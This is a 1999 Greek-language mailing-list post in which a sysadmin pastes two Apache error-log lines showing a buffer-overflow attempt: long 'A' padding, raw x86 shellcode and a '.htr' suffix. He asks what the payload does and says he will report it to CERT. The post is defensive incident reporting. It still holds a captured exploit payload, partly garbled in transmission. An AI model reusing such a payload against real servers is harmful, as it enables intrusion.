Buffer overflow attack ?

Spiros Bolis sbolis at freemail.gr
Sun Aug 29 13:34:07 EEST 1999


Paides xairetw,

Sta error logs enos Apache 1.3.6 brhka ta parakatw kai ypopsiazomai kapoio 
overflow attack eidika apo th stigmh poy kapoy mesa se ola ayta yparxei kai 
ena "xtp"

---------------------------------------------------------------------------- 
---------------------------------------------------------
xxxx.xxx.gr - - [xx/xxx/xxxx:xx:xx:xx +0300] "GET /AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<B0><87>gh<B0><87 
 >gh<90><90>
90><90>XX<90>3<C0>P[SY<8B><DE>f<B8>!^B^C<D8>2<C0><D7>,!<88>^CK<<DE>u<F4>CC<B 
A><D0>^PghR
QS<FF>^R<8B><F0><8B><F9><FC>Y<B1>^F<90>ZC2<C0><D7>PX<84><C0>PXu<F4>CRQSV<B2> 
T<FF>^R<AB>Y
Z<E2><E6>C2<C0><D7>PX<84><C0>PXu<F4>CRS<FF>^R<8B><F0>Z3<C9>PX<B1>^EC2<C0><D7 
 >PX<84><C0>P
u<F4>CRQSV<B2>T<FF>^R<AB>YZ<E2><E6>3<C0>P at P@P<FF>W<F4><89>G<CC>3<C0>PP<B0>^B 
f<AB>X<B4>P
f<AB>X<AB><AB><AB><B1>!<90>f<83><C3>^V<8B><F3>C2<C0><D7>:<C8>u<F8>2<C0><88>^ 
CV<FF>W<EC>
<90>f<83><EF>^P<92><8B>R^L<8B>^R<8B>^R<92><8B><D7><89>B^DRj^PR<FF>w<CC><FF>W 
<F8>Zf<83>
<EEVC<8B><F3><FC><AC><84><C0>u<FB>AN<C7>^F<8D><8A><8D><8A><81>6<80><80><80>< 
80>3<C0>PPjH
S<FF>w<CC><FF>W<F0>X[<8B><D0>f<B8><FF>^OPRPR<FF>W<E8><8B><F0>X<90><90><90><9 
0>PS<FF>W
<D4><8B><E8>3<C0>ZRPRV<FF>w<CC><FF>W<EC><80><FC><FF>t^OPVU<FF>W<D8><80><FC>< 
FF>t^D<85>
<C0>u<DF>U<FF>W<DC>3<C0>@PS<FF>W<E4><90><90><90><90><FF>lfsofmTS!<80><8D><84 
 ><93><86>
82><95>!<80><8D><98><93><8A><95><86>!<80><8D><84><8D><90><94><86>!<80><8D><9 
0><91><86>
<8F>!x<8A><8F>f<99><86><84>!h<8D><90><83><82><8D>b<8D><8D><90><84>!xtpdlTS!< 
93><86><84>
<97>!<94><86><8F><85>!<94><90><84><8C><86><95>!<84><90><8F><8F><86><84><95>! 
<88><86><95>
<89><90><94><95><83><9A><8F><82><8E><86>!<90><98><8F>O<86><99><86>!RZVORWXOR 
RWORXWBhfuAP
<8F><84><99>ZZO<86><99><86>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
!!!!!!.htr H
TTP/1.0" 403 994

---------------------------------------------------------------------------- 
---------------------------------------------------------
xxx.xxx.gr - - [xx/xxx/1999:xx:xx:xx +0300] "GET /AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<B0><87>gh<B0><87>gh<90><90><90><90>XX<90 
 >3<C0>P[SY
8B><DE>f<B8>!^B^C<D8>2<C0><D7>,!<88>^CK<<DE>u<F4>CC<BA><D0>^PghRQS<FF>^R<8B> 
<F0><8B>
<F9><FC>Y<B1>^F<90>ZC2<C0><D7>PX<84><C0>PXu<F4>CRQSV<B2>T<FF>^R<AB>YZ<E2><E6 
 >C2<C0><D7>P
<84><C0>PXu<F4>CRS<FF>^R<8B><F0>Z3<C9>PX<B1>^EC2<C0><D7>PX<84><C0>PXu<F4>CRQ 
SV<B2>T<FF>
^R<AB>YZ<E2><E6>3<C0>P at P@P<FF>W<F4><89>G<CC>3<C0>PP<B0>^Bf<AB>X<B4>Pf<AB>X<A 
B><AB><AB>
<B1>!<90>f<83><C3>^V<8B><F3>C2<C0><D7>:<C8>u<F8>2<C0><88>^CV<FF>W<EC><90>f<8 
3><EF>^P<92>
<8B>R^L<8B>^R<8B>^R<92><8B><D7><89>B^DRj^PR<FF>w<CC><FF>W<F8>Zf<83><EEVC<8B> 
<F3><FC><AC>
<84><C0>u<FB>AN<C7>^F<8D><8A><8D><8A><81>6<80><80><80><80>3<C0>PPjHS<FF>w<CC 
 ><FF>W<F0>X[
8B><D0>f<B8><FF>^OPRPR<FF>W<E8><8B><F0>X<90><90><90><90>PS<FF>W<D4><8B><E8>3 
<C0>ZRPRV
<FF>w<CC><FF>W<EC><80><FC><FF>t^OPVU<FF>W<D8><80><FC><FF>t^D<85><C0>u<DF>U<F 
F>W<DC>3<C0>
@PS<FF>W<E4><90><90><90><90><FF>lfsofmTS!<80><8D><84><93><86><82><95>!<80><8 
D><98><93>
<8A><95><86>!<80><8D><84><8D><90><94><86>!<80><8D><90><91><86><8F>!x<8A><8F> 
f<99><86>
<84>!h<8D><90><83><82><8D>b<8D><8D><90><84>!xtpdlTS!<93><86><84><97>!<94><86 
 ><8F><85>!
94><90><84><8C><86><95>!<84><90><8F><8F><86><84><95>!<88><86><95><89><90><94 
 ><95><83>
9A><8F><82><8E><86>!<90><98><8F>O<86><99><86>!RZVORWXORRWORXWBhfuAP<8F><84>< 
99>ZZO<86>
<99><86>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.htr 
HTTP/1.0" 403 994
---------------------------------------------------------------------------- 
---------------------------------------------------------

Borei kapoios na katalabei ti peripoy kanei ayto to prama kai an petyxe 
ayto poy prospathoyse ? Deytera prwi pantws egw tha anaferw to symban se 
CERT,CSIRT kai ton paroxea toy "palhkarioy"

Eyxaristw,
Spiros D. Bolis
Spiros D. Bolis
--
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